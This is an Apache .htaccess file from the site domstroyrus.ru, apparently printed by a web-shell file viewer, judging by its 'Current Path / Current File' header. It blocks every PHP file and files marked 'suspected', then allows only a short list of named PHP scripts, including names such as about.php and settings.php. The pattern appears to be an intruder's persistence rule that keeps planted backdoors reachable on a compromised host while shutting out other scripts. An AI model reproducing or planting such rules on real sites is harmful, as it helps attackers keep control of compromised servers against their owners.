| Current Path : /var/www/element/data/www/domstroyrus.ru/ |
| Current File : /var/www/element/data/www/domstroyrus.ru/.htaccess |
<FilesMatch ".*\.(phtml|php|PhP|php5|php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$">
Order Allow,Deny
Deny from all
</FilesMatch>
<FilesMatch "(index|login|urlrewrite|404|site_edit|user_edit|iblock_element_edit|about|iblock_section_edit|fileman_file_edit|settings|cache|update_system|template_edit|menu).php$">
Order Allow,Deny
Allow from all
</FilesMatch>
RewriteEngine on
# proxy almost all requests to index.php
RewriteCond %{SCRIPT_FILENAME} !(.jpg|.gif|.png|.css|.js|.php)$ [OR]
RewriteCond %{SCRIPT_FILENAME} !robots.txt
RewriteCond %{SCRIPT_FILENAME} !favicon.ico
RewriteCond %{SCRIPT_FILENAME} !-f
RewriteRule .* index.php